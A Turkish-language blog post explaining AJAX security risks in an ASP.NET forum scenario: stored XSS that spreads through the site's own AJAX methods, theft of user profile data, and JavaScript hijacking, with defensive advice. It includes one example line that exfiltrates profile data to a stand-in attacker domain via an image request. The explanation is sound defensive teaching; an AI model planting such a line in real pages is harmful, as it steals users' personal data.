AJAX artık neredeyse her web projesinde kullanılır oldu. Bazı projelerde ufak noktalarda kendini gösteren AJAX yeni nesil projelerde ise neredeyse tüm iş katmanına yayılmış durumda. Bu noktada maalesef AJAX'ın getirdiği heyecanın kısmi sersemliği ile güvenlik konusunda kaygılar unutulmuş durumda. Oysa eskiden beridir XSS (Cross-Site-Scripting) bizim JavaScript tarafındaki en önemli düşmanlarımızdan. Ne kadar ilginçtir ki AJAX'ın göbeğinde de JavaScript bulunuyor.

XSS yeni bir güvenlik sorunu değil ki!?

Kesinlikle değil. Cross-Site-Scripting uzun süredir bilinen, tanınan ve koruma yöntemleri geliştirilmiş bir sorun. Fakat XSS'in yaratacağı sorunlar AJAX ile binlerce kat büyüyor. Nasıl mı oluyor? Hemen bir örnek üzerinden gidelim. Varsayalım bir forum uygulaması programlıyorsunuz ve kullanıcıların attıkları mesajların içeriğini kontrol etmiyorsunuz. Ziyaretçilerden biri mesajının arasına kendi hazırlamış olduğu JavaScript kodunu yerleştirdi ve mesajı yolladı. Mesajı direk sitede gösterdiğinizi varsayalım (Kötü bir programcısınız :)). Söz konusu kullanıcının gönderdiği JavaScript kodu tüm kullanıcıların bilgisayarında çalışacaktır. Bu noktada basit bir saldırı tipi olarak uygun JavaScript kodu ile o sayfaya giren tüm kullanıcıların başka bir adrese yönlendirilmesinden bahsedebiliriz (fishing). Forumunuzda mesajların gönderimi ve gösterimi için AJAX kullandığınızı varsayalım. Kullandığınız AJAX kodu, yani JavaScript kodunuz tüm kullanıcılara gidiyor ve kaynak içerisinde incelenebiliyor. Biraz önce bahsettiğimiz "kötü ziyaretçi" sizin AJAX metodlarınızı kullanarak forumunuza mesaj atan bir JavaScript fonksiyonu yazarak mesajına eklerse neler olur? Mesajın gözüktüğü sayfayı açan herkes o JavaScript metodunu çalıştırmış olur böylece bir anda forumunuzdaki her kullanıcının yüzlerce mesaj atması gibi bir durumla karşılaşabilirsiniz. Tüm bu işlem AJAX tarafında yapıldığı için de kimse farkına varmayacaktır.

Aynı forum uygulamamızla ilgili başka bir durumdan bahsedelim. Forum uygulamasını programlarken kullanıcıların bilgilerini de değiştirebilecekleri bir sayfa hazırladınız. Tüm kullanıcıları bilgileri AJAX ile sayfaya yerleşiyor ve kaydedilebiliyor. Tabi ki tüm bu AJAX metodlarınız foruma mesaj atılan ve mesajların gösterildiği metodlar ile sayfada yer alıyor. Kötü kullanıcı Şerafettin :) sitenizde kullanıcıların bilgilerini profil sayfasına yerleştiren, yani veritabanından çeken AJAX metodlarını kullanan bir JavaScript komutu yazarak mesajına ekleyip gönderdi. Her kullanıcı forumda gezerken Şerafettin'in yazdığı kod söz konusu kullanıcının bilgileri alacak. Peki sonra ne yapacak? Bu bilgisi aşağıdaki gibi klasik bir teknikle kendi sitesine aktaracak :)

(new Image()).src = "http://serafettin.com/bilgigeldi.php?data=" + ProfilBilgisi;

Gözümüzün önünde tüm kullanıcıların profil bilgileri Şerafettin'in mesajının bulunduğu sayfaya girdikleri gibi elden gidiyor.

XSS'i engellemek, yani kullanıcıların web sitenize gönderdiği içeriği filtrelemek için Microsoft tarafından ASP.NET geliştiricileri için hazırlanmış olan Anti-Cross Site Script kütüphanesini kullanabilirsiniz.

JavaScript Hijacking

Bir diğer AJAX sorunlarıdan biri de sitemiz dahilindeki AJAX metodlarının başka sitelerde de kullanılabilmesi. Eğer AJAX metodlarınızı harici bir JavaScript dosyasına yerleştirerek sayfanıza linklediyseniz aynı linklemeyi başka siteler de yapabilir. Farklı alan adları arasında XMLHttpRequest objelerinin çalışmaması ile ilgili güvenlik düzenlemeleri olmasına karşın bu durumla ilgili herhangi bir düzenleme yapmak pek mümkün değil.

<script language="javascript" src="http://www.deneme.com/WebService.asmx/js"></script>

Yukarıdaki kodu kullanarak deneme.com sitesinde kullanılmak üzere hazırlanmış JavaScript metodlarını herhangi bir sitede, sayfada kullanabilirsiniz. Dikkat ederseniz özellikle örnek içerisinde ScriptService özelliğine sahip bir ASP.NET web servisi kullandım. Bizim genelde ASP.NET AJAX tarafında sayfamıza linklediğimiz harici AJAX metodları web servislerinde yer alıyor.

Peki bu güvenlik açığına karşı ne yapabiliriz? Herhangi birşey yapmanız gerekmiyor :) Microsoft bu açığı öngörmüş ve HTTP GET metodlarını web metodlarına kapatmış. Yukarıdaki kod kullanılarak yapılacak bir talep GET metodu ile yapılacaktır, herhangi bir şekilde POST metodu ile yapılması mümkün değil. Siz web methodlarınıza UseHttpGet:=True özelliği vermediğiniz sürece herhangi bir sorun olmayacaktır.

Sonuç

Benim tavsiyem AJAX kullanırken özellikle veri alımında, yani veritabanına kaydedilecek veriyi kullanıcıdan alırken kullandığınız tekniklerde dikkatli davranmanız. Eğer Forms Authentication kullanıyorsanız web servislerinizi de korumaya almanızda fayda var. Tüm bu tekniklerin haricinde sunucu taraflı sistem yükü fazla olsa da Session bazlı ID'ler tanımlayarak sayfanızdaki AJAX işlemlerine gerçek zamanlı parametre olarak ekleyerek gelen taleplerin sizin sisteminizden gelip gelmediğini de kontrol edebilirsiniz. Son olarak XSS'e karşı korunmayı da unutmayın.

Friday, April 20, 2007 2:32:46 AM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX  | 
Copyright © 2010 Daron Yöndem. Tüm hakları saklıdır.